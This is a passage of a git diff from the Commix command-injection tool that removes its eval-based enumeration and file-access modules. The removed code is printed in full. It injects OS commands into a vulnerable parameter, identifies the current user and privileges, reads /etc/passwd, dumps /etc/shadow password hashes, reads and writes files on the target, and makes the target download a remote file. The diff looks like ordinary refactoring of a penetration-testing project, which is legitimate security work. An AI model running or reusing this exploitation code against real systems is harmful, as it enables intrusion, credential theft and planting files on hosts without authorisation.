http_request_method, url, vuln_parameter, alter_shell, filename) - # Perform target page reload (if it is required). - if settings.URL_RELOAD: - response = requests.url_reload(url, timesec) - # Evaluate injection results. - distro_name = eb_injector.injection_results(response, TAG, cmd) - distro_name = "".join(str(p) for p in distro_name) - if len(distro_name) != 0: - target_os = target_os + " (" + distro_name + ")" - session_handler.store_cmd(url, cmd, target_os, vuln_parameter) - else: - target_os = session_handler.export_stored_cmd(url, cmd, vuln_parameter) - - if settings.TARGET_OS == "win": - cmd = settings.WIN_RECOGNISE_HP - else: - cmd = settings.RECOGNISE_HP - if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: - # Command execution results. - response = eb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) - # Perform target page reload (if it is required). - if settings.URL_RELOAD: - response = requests.url_reload(url, timesec) - # Evaluate injection results. - target_arch = eb_injector.injection_results(response, TAG, cmd) - target_arch = "".join(str(p) for p in target_arch).replace(" ", "", 1) - session_handler.store_cmd(url, cmd, target_arch, vuln_parameter) - else: - target_arch = session_handler.export_stored_cmd(url, cmd, vuln_parameter) - if target_arch: - info_msg = "The target operating system is " + str(target_os) + Style.RESET_ALL - info_msg += Style.BRIGHT + " and the hardware platform is " + str(target_arch) - sys.stdout.write(settings.print_bold_info_msg(info_msg) + ".\n") - sys.stdout.flush() - # Add infos to logs file. - output_file = open(filename, "a") - info_msg = "The target operating system is " + str(target_os) - info_msg += " and the hardware platform is " + str(target_arch) + ".\n" - output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) - output_file.close() - else: - warn_msg = "Heuristics have failed to retrieve the system information." - print(settings.print_warning_msg(warn_msg)) - -""" -The current user enumeration -""" -def current_user(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec): - if settings.TARGET_OS == "win": - settings.SYS_USERS = settings.WIN_SYS_USERS - settings.SYS_USERS = settings.SYS_USERS + "-replace('\s+',' '))" - if alter_shell: - settings.SYS_USERS = settings.SYS_USERS.replace("'","\\'") - else: - settings.SYS_USERS = "\"" + settings.SYS_USERS + "\"" - cmd = settings.CURRENT_USER - if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: - # Command execution results. - response = eb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) - # Perform target page reload (if it is required). - if settings.URL_RELOAD: - response = requests.url_reload(url, timesec) - # Evaluate injection results. - cu_account = eb_injector.injection_results(response, TAG, cmd) - cu_account = "".join(str(p) for p in cu_account).replace(" ", "", 1) - session_handler.store_cmd(url, cmd, cu_account, vuln_parameter) - else: - cu_account = session_handler.export_stored_cmd(url, cmd, vuln_parameter) - if cu_account: - # Check if the user have super privileges. - if menu.options.is_root or menu.options.is_admin: - if settings.TARGET_OS == "win": - cmd = settings.IS_ADMIN - if not alter_shell: - cmd = "\"" + cmd + "\"" - else: - cmd = settings.IS_ROOT - if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: - # Command execution results. - response = eb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) - # Perform target page reload (if it is required). - if settings.URL_RELOAD: - response = requests.url_reload(url, timesec) - # Evaluate injection results. - shell = eb_injector.injection_results(response, TAG, cmd) - shell = "".join(str(p) for p in shell).replace(" ", "", 1) - session_handler.store_cmd(url, cmd, shell, vuln_parameter) - else: - shell = session_handler.export_stored_cmd(url, cmd, vuln_parameter) - info_msg = "The current user is " + str(cu_account) - sys.stdout.write(settings.print_bold_info_msg(info_msg)) - # Add infos to logs file. - output_file = open(filename, "a") - info_msg = "The current user is " + str(cu_account) - output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) - output_file.close() - if shell: - if (settings.TARGET_OS == "win" and not "Admin" in shell) or \ - (settings.TARGET_OS != "win" and shell != "0"): - sys.stdout.write(Style.BRIGHT + " and it is " + "not" + Style.RESET_ALL + Style.BRIGHT + " privileged" + Style.RESET_ALL + ".\n") - sys.stdout.flush() - # Add infos to logs file. - output_file = open(filename, "a") - output_file.write(" and it is not privileged.\n") - output_file.close() - else: - sys.stdout.write(Style.BRIGHT + " and it is " + Style.RESET_ALL + Style.BRIGHT + "privileged" + Style.RESET_ALL + ".\n") - sys.stdout.flush() - # Add infos to logs file. - output_file = open(filename, "a") - output_file.write(" and it is privileged.\n") - output_file.close() - else: - info_msg = "The current user is " + str(cu_account) - sys.stdout.write(settings.print_bold_info_msg(info_msg) + ".\n") - sys.stdout.flush() - # Add infos to logs file. - output_file = open(filename, "a") - info_msg = "The current user is " + str(cu_account) + "\n" - output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) - output_file.close() - else: - warn_msg = "Heuristics have failed to identify the current user." - print(settings.print_warning_msg(warn_msg)) -""" -System users enumeration -""" -def system_users(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec): - if settings.TARGET_OS == "win": - settings.SYS_USERS = settings.WIN_SYS_USERS - settings.SYS_USERS = settings.SYS_USERS + "-replace('\s+',' '))" - if alter_shell: - settings.SYS_USERS = settings.SYS_USERS.replace("'","\\'") - else: - settings.SYS_USERS = "\"" + settings.SYS_USERS + "\"" - else: - settings.SYS_USERS = settings.EVAL_SYS_USERS - cmd = settings.SYS_USERS - if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: - # Command execution results. - response = eb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) - # Perform target page reload (if it is required). - if settings.URL_RELOAD: - response = requests.url_reload(url, timesec) - # Evaluate injection results. - sys_users = eb_injector.injection_results(response, TAG, cmd) - sys_users = "".join(str(p) for p in sys_users) - session_handler.store_cmd(url, cmd, sys_users, vuln_parameter) - else: - sys_users = session_handler.export_stored_cmd(url, cmd, vuln_parameter) - # Windows users enumeration. - if settings.TARGET_OS == "win": - info_msg = "Executing the 'net users' command " - info_msg += "to enumerate users entries. " - sys.stdout.write(settings.print_info_msg(info_msg)) - sys.stdout.flush() - try: - if sys_users[0] : - sys_users = "".join(str(p) for p in sys_users).strip() - sys.stdout.write(settings.SUCCESS_STATUS) - sys_users_list = re.findall(r"(.*)", sys_users) - sys_users_list = "".join(str(p) for p in sys_users_list).strip() - sys_users_list = ' '.join(sys_users_list.split()) - sys_users_list = sys_users_list.split() - info_msg = "Identified " + str(len(sys_users_list)) - info_msg += " entr" + ('ies', 'y')[len(sys_users_list) == 1] - info_msg += " via 'net users' command.\n" - sys.stdout.write("\n" + settings.print_bold_info_msg(info_msg)) - sys.stdout.flush() - # Add infos to logs file. - output_file = open(filename, "a") - output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) - output_file.close() - count = 0 - for user in range(0, len(sys_users_list)): - count = count + 1 - if menu.options.privileges: - cmd = "powershell.exe -InputFormat none write-host (([string]$(net user " + sys_users_list[user] + ")[22..($(net user " + sys_users_list[user] + ").length-3)]).replace('Local Group Memberships','').replace('*','').Trim()).replace(' ','')" - if alter_shell: - cmd = cmd.replace("'","\\'") - else: - cmd = "\"" + cmd + "\"" - response = eb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) - check_privs = eb_injector.injection_results(response, TAG, cmd) - check_privs = "".join(str(p) for p in check_privs).strip() - check_privs = re.findall(r"(.*)", check_privs) - check_privs = "".join(str(p) for p in check_privs).strip() - check_privs = check_privs.split() - if "Admin" in check_privs[0]: - is_privileged = Style.RESET_ALL + " is" + Style.BRIGHT + " admin user" - is_privileged_nh = " is admin user " - else: - is_privileged = Style.RESET_ALL + " is" + Style.BRIGHT + " regular user" - is_privileged_nh = " is regular user " - else : - is_privileged = "" - is_privileged_nh = "" - print(" (" +str(count)+ ") '" + Style.BRIGHT + sys_users_list[user] + Style.RESET_ALL + "'" + Style.BRIGHT + is_privileged + Style.RESET_ALL + ".") - # Add infos to logs file. - output_file = open(filename, "a") - output_file.write(" (" +str(count)+ ") " + sys_users_list[user] + is_privileged + ".\n" ) - output_file.close() - else: - sys.stdout.write(settings.FAIL_STATUS) - sys.stdout.flush() - warn_msg = "It seems that you don't have permissions to enumerate users entries." - print("\n" + settings.print_warning_msg(warn_msg)) # Unix-like users enumeration. - except TypeError: - sys.stdout.write(settings.FAIL_STATUS + "\n") - sys.stdout.flush() - pass - - except IndexError: - sys.stdout.write(settings.FAIL_STATUS) - warn_msg = "It seems that you don't have permissions to enumerate users entries.\n" - sys.stdout.write("\n" + settings.print_warning_msg(warn_msg)) - sys.stdout.flush() - pass - - else: - info_msg = "Fetching '" + settings.PASSWD_FILE - info_msg += "' to enumerate users entries. " - sys.stdout.write(settings.print_info_msg(info_msg)) - sys.stdout.flush() - try: - if sys_users[0] : - sys_users = "".join(str(p) for p in sys_users).strip() - if len(sys_users.split(" ")) <= 1 : - sys_users = sys_users.split("\n") - else: - sys_users = sys_users.split(" ") - # Check for appropriate '/etc/passwd' format. - if len(sys_users) % 3 != 0 : - sys.stdout.write(settings.FAIL_STATUS) - sys.stdout.flush() - warn_msg = "It seems that '" + settings.PASSWD_FILE + "' file is " - warn_msg += "not in the appropriate format. Thus, it is expoted as a text file." - print("\n" + settings.print_warning_msg(warn_msg)) - sys_users = " ".join(str(p) for p in sys_users).strip() - print(sys_users) - output_file = open(filename, "a") - output_file.write(" " + sys_users) - output_file.close() - else: - sys_users_list = [] - for user in range(0, len(sys_users), 3): - sys_users_list.append(sys_users[user : user + 3]) - if len(sys_users_list) != 0 : - sys.stdout.write(settings.SUCCESS_STATUS) - info_msg = "Identified " + str(len(sys_users_list)) - info_msg += " entr" + ('ies', 'y')[len(sys_users_list) == 1] - info_msg += " in '" + settings.PASSWD_FILE + "'.\n" - sys.stdout.write("\n" + settings.print_bold_info_msg(info_msg)) - sys.stdout.flush() - # Add infos to logs file. - output_file = open(filename, "a") - output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) - output_file.close() - count = 0 - for user in range(0, len(sys_users_list)): - sys_users = sys_users_list[user] - sys_users = ":".join(str(p) for p in sys_users) - count = count + 1 - fields = sys_users.split(":") - fields1 = "".join(str(p) for p in fields) - # System users privileges enumeration - try: - if not fields[2].startswith("/"): - raise ValueError() - if menu.options.privileges: - if int(fields[1]) == 0: - is_privileged = Style.RESET_ALL + " is" + Style.BRIGHT + " root user " - is_privileged_nh = " is root user " - elif int(fields[1]) > 0 and int(fields[1]) < 99 : - is_privileged = Style.RESET_ALL + " is" + Style.BRIGHT + " system user " - is_privileged_nh = " is system user " - elif int(fields[1]) >= 99 and int(fields[1]) < 65534 : - if int(fields[1]) == 99 or int(fields[1]) == 60001 or int(fields[1]) == 65534: - is_privileged = Style.RESET_ALL + " is" + Style.BRIGHT + " anonymous user " - is_privileged_nh = " is anonymous user " - elif int(fields[1]) == 60002: - is_privileged = Style.RESET_ALL + " is" + Style.BRIGHT + " non-trusted user " - is_privileged_nh = " is non-trusted user " - else: - is_privileged = Style.RESET_ALL + " is" + Style.BRIGHT + " regular user " - is_privileged_nh = " is regular user " - else : - is_privileged = "" - is_privileged_nh = "" - else : - is_privileged = "" - is_privileged_nh = "" - print(" (" +str(count)+ ") '" + Style.BRIGHT + fields[0]+ Style.RESET_ALL + "'" + Style.BRIGHT + is_privileged + Style.RESET_ALL + "(uid=" + fields[1] + "). Home directory is in '" + Style.BRIGHT + fields[2]+ Style.RESET_ALL + "'.") - # Add infos to logs file. - output_file = open(filename, "a") - output_file.write(" (" +str(count)+ ") '" + fields[0]+ "'" + is_privileged_nh + "(uid=" + fields[1] + "). Home directory is in '" + fields[2] + "'.\n" ) - output_file.close() - except ValueError: - if count == 1 : - warn_msg = "It seems that '" + settings.PASSWD_FILE + "' file is not in the " - warn_msg += "appropriate format. Thus, it is expoted as a text file." - print(settings.print_warning_msg(warn_msg)) - sys_users = " ".join(str(p) for p in sys_users.split(":")) - print(sys_users) - output_file = open(filename, "a") - output_file.write(" " + sys_users) - output_file.close() - else: - sys.stdout.write(settings.FAIL_STATUS) - sys.stdout.flush() - warn_msg = "It seems that you don't have permissions to read '" - warn_msg += settings.PASSWD_FILE + "' to enumerate users entries." - print("\n" + settings.print_warning_msg(warn_msg)) - - except TypeError: - sys.stdout.write(settings.FAIL_STATUS + "\n") - sys.stdout.flush() - pass - - except IndexError: - sys.stdout.write(settings.FAIL_STATUS) - warn_msg = "Some kind of WAF/IPS/IDS probably blocks the attempt to read '" - warn_msg += settings.PASSWD_FILE + "' to enumerate users entries.\n" - sys.stdout.write("\n" + settings.print_warning_msg(warn_msg)) - sys.stdout.flush() - pass -""" -System passwords enumeration -""" -def system_passwords(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec): - if settings.TARGET_OS == "win": - # Not yet implemented! - pass - else: - cmd = settings.SYS_PASSES - if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: - # Command execution results. - response = eb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) - # Perform target page reload (if it is required). - if settings.URL_RELOAD: - response = requests.url_reload(url, timesec) - # Evaluate injection results. - sys_passes = eb_injector.injection_results(response, TAG, cmd) - sys_passes = "".join(str(p) for p in sys_passes) - session_handler.store_cmd(url, cmd, sys_passes, vuln_parameter) - else: - sys_passes = session_handler.export_stored_cmd(url, cmd, vuln_parameter) - if sys_passes == "": - sys_passes = " " - if sys_passes : - info_msg = "Fetching '" + settings.SHADOW_FILE - info_msg += "' to enumerate users password hashes. " - sys.stdout.write(settings.print_info_msg(info_msg)) - sys.stdout.flush() - sys_passes = "".join(str(p) for p in sys_passes) - sys_passes = sys_passes.replace(" ", "\n") - sys_passes = sys_passes.split( ) - if len(sys_passes) != 0 : - sys.stdout.write(settings.SUCCESS_STATUS) - info_msg = "Identified " + str(len(sys_passes)) - info_msg += " entr" + ('ies', 'y')[len(sys_passes) == 1] - info_msg += " in '" + settings.SHADOW_FILE + "'.\n" - sys.stdout.write("\n" + settings.print_bold_info_msg(info_msg)) - sys.stdout.flush() - # Add infos to logs file. - output_file = open(filename, "a") - output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg ) - output_file.close() - count = 0 - for line in sys_passes: - count = count + 1 - try: - if ":" in line: - fields = line.split(":") - if not "*" in fields[1] and not "!" in fields[1] and fields[1] != "": - print(" (" +str(count)+ ") " + Style.BRIGHT + fields[0]+ Style.RESET_ALL + " : " + Style.BRIGHT + fields[1]+ Style.RESET_ALL) - # Add infos to logs file. - output_file = open(filename, "a") - output_file.write(" (" +str(count)+ ") " + fields[0] + " : " + fields[1] + "\n") - output_file.close() - # Check for appropriate '/etc/shadow' format. - except IndexError: - if count == 1 : - warn_msg = "It seems that '" + settings.SHADOW_FILE + "' file is not " - warn_msg += "in the appropriate format. Thus, it is expoted as a text file." - sys.stdout.write(settings.print_warning_msg(warn_msg)+ "\n") - print(fields[0]) - output_file = open(filename, "a") - output_file.write(" " + fields[0]) - output_file.close() - else: - sys.stdout.write(settings.FAIL_STATUS) - sys.stdout.flush() - warn_msg = "It seems that you don't have permissions to read '" - warn_msg += settings.SHADOW_FILE + "' to enumerate users password hashes." - print("\n" + settings.print_warning_msg(warn_msg)) - -""" -Single os-shell execution -""" -def single_os_cmd_exec(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec): - cmd = menu.options.os_cmd - if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: - # Command execution results. - response = eb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) - # Perform target page reload (if it is required). - if settings.URL_RELOAD: - response = requests.url_reload(url, timesec) - # Evaluate injection results. - shell = eb_injector.injection_results(response, TAG, cmd) - shell = "".join(str(p) for p in shell).replace(" ", "", 1) - session_handler.store_cmd(url, cmd, shell, vuln_parameter) - else: - shell = session_handler.export_stored_cmd(url, cmd, vuln_parameter) - if shell: - if shell != "": - print("\n" + Fore.GREEN + Style.BRIGHT + shell + Style.RESET_ALL + "\n") - logs.print_logs_notification(filename, url) - else: - err_msg = "The '" + cmd + "' command, does not return any output." - print(settings.print_critical_msg(err_msg)) - raise SystemExit() - -""" -Check the defined options -""" -def do_check(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec): - - # if not settings.VERBOSITY_LEVEL != 0 and not settings.ENUMERATION_DONE: - # print(settings.SINGLE_WHITESPACE) - - # Check if PowerShell is enabled. - if not menu.options.ps_version and settings.TARGET_OS == "win": - checks.ps_check() - - if menu.options.ps_version and settings.PS_ENABLED == None: - if not checks.ps_incompatible_os(): - powershell_version(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec) - settings.ENUMERATION_DONE = True - - if menu.options.hostname: - hostname(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec) - settings.ENUMERATION_DONE = True - - if menu.options.current_user: - current_user(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec) - settings.ENUMERATION_DONE = True - - if menu.options.sys_info: - system_information(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec) - settings.ENUMERATION_DONE = True - - if menu.options.users: - system_users(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec) - settings.ENUMERATION_DONE = True - - if menu.options.passwords: - system_passwords(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec) - settings.ENUMERATION_DONE = True - -# eof \ No newline at end of file diff --git a/src/core/injections/results_based/techniques/eval_based/eb_file_access.py b/src/core/injections/results_based/techniques/eval_based/eb_file_access.py deleted file mode 100755 index b3c839762a..0000000000 --- a/src/core/injections/results_based/techniques/eval_based/eb_file_access.py +++ /dev/null @@ -1,232 +0,0 @@ -#!/usr/bin/env python -# encoding: UTF-8 - -""" -This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst). - -This program is free software: you can redistribute it and/or modify -it under the terms of the GNU General Public License as published by -the Free Software Foundation, either version 3 of the License, or -(at your option) any later version. - -For more see the file 'readme/COPYING' for copying permission. -""" -import re -import os -import sys -from src.thirdparty.six.moves import urllib as _urllib - - -from src.utils import menu -from src.utils import settings -from src.utils import session_handler - -from src.thirdparty.colorama import Fore, Back, Style, init - -from src.core.requests import requests -from src.core.injections.results_based.techniques.eval_based import eb_injector - -""" - The dynamic code evaluation (aka eval-based) technique. -""" - -""" -Read a file from the target host. -""" -def file_read(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec): - file_to_read = menu.options.file_read - # Execute command - if settings.TARGET_OS == "win": - cmd = settings.WIN_FILE_READ + file_to_read - else: - cmd = "(" + settings.FILE_READ + file_to_read + ")" - if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: - # Command execution results. - response = eb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) - # Perform target page reload (if it is required). - if settings.URL_RELOAD: - response = requests.url_reload(url, timesec) - # Evaluate injection results. - shell = eb_injector.injection_results(response, TAG, cmd) - shell = "".join(str(p) for p in shell) - session_handler.store_cmd(url, cmd, shell, vuln_parameter) - else: - shell = session_handler.export_stored_cmd(url, cmd, vuln_parameter) - if settings.VERBOSITY_LEVEL != 0 and menu.options.ignore_session: - print(settings.SINGLE_WHITESPACE) - if shell: - info_msg = "The contents of file '" - info_msg += file_to_read + "'" + Style.RESET_ALL + ": " - sys.stdout.write(settings.print_bold_info_msg(info_msg)) - sys.stdout.flush() - print(shell) - output_file = open(filename, "a") - info_msg = "The contents of file '" - info_msg += file_to_read + "' : " + shell + ".\n" - output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) - output_file.close() - else: - warn_msg = "It seems that you don't have permissions " - warn_msg += "to read the '" + file_to_read + "' file." - sys.stdout.write(settings.print_warning_msg(warn_msg) + "\n") - sys.stdout.flush() - -""" -Write to a file on the target host. -""" -def file_write(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec): - file_to_write = menu.options.file_write - if not os.path.exists(file_to_write): - warn_msg = "It seems that the provided local file '" + file_to_write + "', does not exist." - sys.stdout.write(settings.print_warning_msg(warn_msg) + "\n") - sys.stdout.flush() - raise SystemExit() - - if os.path.isfile(file_to_write): - with open(file_to_write, 'r') as content_file: - content = [line.replace("\r\n", "\n").replace("\r", "\n").replace("\n", " ") for line in content_file] - content = "".join(str(p) for p in content).replace("'", "\"") - if settings.TARGET_OS == "win": - import base64 - content = base64.b64encode(content) - else: - warn_msg = "It seems that '" + file_to_write + "' is not a file." - sys.stdout.write(settings.print_warning_msg(warn_msg) + "\n") - sys.stdout.flush() - - if os.path.split(menu.options.file_dest)[1] == "" : - dest_to_write = os.path.split(menu.options.file_dest)[0] + "/" + os.path.split(menu.options.file_write)[1] - elif os.path.split(menu.options.file_dest)[0] == "/": - dest_to_write = "/" + os.path.split(menu.options.file_dest)[1] + "/" + os.path.split(menu.options.file_write)[1] - else: - dest_to_write = menu.options.file_dest - - # Execute command - if settings.TARGET_OS == "win": - dest_to_write = dest_to_write.replace("\\","/") - # Find path - path = os.path.dirname(dest_to_write) - path = path.replace("/","\\") - # Change directory - cmd = "cd " + path - response = eb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) - # Find filename - filname = os.path.basename(dest_to_write) - tmp_filname = "tmp_" + filname - cmd = settings.FILE_WRITE + " " + content + ">" + tmp_filname - response = eb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) - # Decode base 64 encoding - cmd = "certutil -decode " + tmp_filname + " " + filname - response = eb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) - eb_injector.injection_results(response, TAG, cmd) - # Delete tmp file - cmd = "del " + tmp_filname - response = eb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) - eb_injector.injection_results(response, TAG, cmd) - # Check if file exists - cmd = "if exist " + filname + " (echo " + filname + ")" - dest_to_write = path + "\\" + filname - - else: - cmd = settings.FILE_WRITE + " '" + content + "'" + ">" + "'" + dest_to_write + "'" - response = eb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) - shell = eb_injector.injection_results(response, TAG, cmd) - shell = "".join(str(p) for p in shell) - # Check if file exists - cmd = "echo $(ls " + dest_to_write + ")" - - # Check if defined cookie injection. - response = eb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) - shell = eb_injector.injection_results(response, TAG, cmd) - shell = "".join(str(p) for p in shell) - if shell: - if settings.VERBOSITY_LEVEL != 0: - print(settings.SINGLE_WHITESPACE) - info_msg = "The " + shell + Style.RESET_ALL - info_msg += Style.BRIGHT + " file was created successfully!" + "\n" - sys.stdout.write(settings.print_bold_info_msg(info_msg)) - sys.stdout.flush() - else: - if settings.VERBOSITY_LEVEL != 0: - print(settings.SINGLE_WHITESPACE) - warn_msg = "It seems that you don't have permissions to write the '" + dest_to_write + "' file." - sys.stdout.write(settings.print_warning_msg(warn_msg) + "\n") - sys.stdout.flush() - - -""" -Upload a file on the target host. -""" -def file_upload(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec): - if settings.TARGET_OS == "win": - # Not yet implemented - pass - else: - file_to_upload = menu.options.file_upload - # check if remote file exists. - try: - _urllib.request.urlopen(file_to_upload, timeout=settings.TIMEOUT) - except _urllib.error.HTTPError as err_msg: - warn_msg = "It seems that the '" + file_to_upload + "' file, does not exist. (" +str(err_msg)+ ")" - sys.stdout.write(settings.print_warning_msg(warn_msg) + "\n") - sys.stdout.flush() - raise SystemExit() - except ValueError as err_msg: - err_msg = str(err_msg[0]).capitalize() + str(err_msg)[1] - sys.stdout.write(settings.print_critical_msg(err_msg) + "\n") - sys.stdout.flush() - raise SystemExit() - - # Check the file-destination - if os.path.split(menu.options.file_dest)[1] == "" : - dest_to_upload = os.path.split(menu.options.file_dest)[0] + "/" + os.path.split(menu.options.file_upload)[1] - elif os.path.split(menu.options.file_dest)[0] == "/": - dest_to_upload = "/" + os.path.split(menu.options.file_dest)[1] + "/" + os.path.split(menu.options.file_upload)[1] - else: - dest_to_upload = menu.options.file_dest - - # Execute command - cmd = settings.FILE_UPLOAD + file_to_upload + " -O " + dest_to_upload - response = eb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) - shell = eb_injector.injection_results(response, TAG, cmd) - shell = "".join(str(p) for p in shell) - - # Check if file exists! - if settings.TARGET_OS == "win": - cmd = "dir " + dest_to_upload + ")" - else: - cmd = "echo $(ls " + dest_to_upload + ")" - response = eb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) - shell = eb_injector.injection_results(response, TAG, cmd) - shell = "".join(str(p) for p in shell) - if settings.VERBOSITY_LEVEL != 0: - print(settings.SINGLE_WHITESPACE) - if shell: - info_msg = "The " + shell - info_msg += Style.RESET_ALL + Style.BRIGHT + " file was uploaded successfully!" - sys.stdout.write(settings.print_bold_info_msg(info_msg) + "\n") - sys.stdout.flush() - else: - warn_msg = "It seems that you don't have permissions to write the '" + dest_to_upload + "' file." - sys.stdout.write(settings.print_warning_msg(warn_msg) + "\n") - sys.stdout.flush() - -""" -Check the defined options -""" -def do_check(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec): - - if menu.options.file_write: - file_write(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec) - settings.FILE_ACCESS_DONE = True - - if menu.options.file_upload: - file_upload(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec) - settings.FILE_ACCESS_DONE = True - - if menu.options.file_read: - file_read(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec) - settings.FILE_ACCESS_DONE = True - -# eof \ No newline at end of file diff --git a/src/core/injections/results_based/techniques/eval_based/eb_handler.py b/src/core/injections/results_based/techniques/eval_based/eb_handler.py index 88f27d3481..66aeaccf14 100755 --- a/src/core/injections/results_based/techniques/eval_based/eb_handler.py +++ b/src/core/injections/results_based/techniques/eval_based/eb_handler.py @@ -3,38 +3,17 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2025 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. - + For more see the file 'readme/COPYING' for copying permission. """ -import os -import re -import sys -import time -import string -import random -from src.thirdparty.six.moves import input as _input -from src.thirdparty.six.moves import urllib as _urllib -from src.utils import menu -from src.utils import logs -from src.utils import settings -from src.utils import session_handler -from src.thirdparty.colorama import Fore, Back, Style, init -from src.core.requests import headers -from src.core.requests import requests -from src.core.requests import parameters -from src.core.injections.controller import checks -from src.core.injections.controller import shell_options -from src.core.injections.results_based.techniques.eval_based import eb_injector -from src.core.injections.results_based.techniques.eval_based import eb_payloads -from src.core.injections.results_based.techniques.eval_based import eb_enumeration -from src.core.injections.results_based.techniques.eval_based import eb_file_access +from src.core.injections.controller import handler """ The dynamic code evaluation (aka eval-based) technique. @@ -44,430 +23,13 @@ The "eval-based" injection technique handler. """ def eb_injection_handler(url, timesec, filename, http_request_method, injection_type, technique): - shell = False - counter = 1 - vp_flag = True - no_result = True - export_injection_info = False - - for item in range(0, len(settings.EXECUTION_FUNCTIONS)): - settings.EXECUTION_FUNCTIONS[item] = "${" + settings.EXECUTION_FUNCTIONS[item] + "(" - settings.EVAL_PREFIXES = settings.EVAL_PREFIXES + settings.EXECUTION_FUNCTIONS - - if not settings.LOAD_SESSION: - info_msg = "Testing the " + "(" + injection_type.split(" ")[0] + ") " + technique + ". " - sys.stdout.write(settings.print_info_msg(info_msg)) - sys.stdout.flush() - if settings.VERBOSITY_LEVEL != 0: - print(settings.SINGLE_WHITESPACE) - - i = 0 - # Calculate all possible combinations - total = len(settings.WHITESPACES) * len(settings.EVAL_PREFIXES) * len(settings.EVAL_SEPARATORS) * len(settings.EVAL_SUFFIXES) - for whitespace in settings.WHITESPACES: - for prefix in settings.EVAL_PREFIXES: - for suffix in settings.EVAL_SUFFIXES: - for separator in settings.EVAL_SEPARATORS: - if whitespace == " ": - whitespace = _urllib.parse.quote(whitespace) - # Check injection state - settings.DETECTION_PHASE = True - settings.EXPLOITATION_PHASE = False - # If a previous session is available. - if settings.LOAD_SESSION and 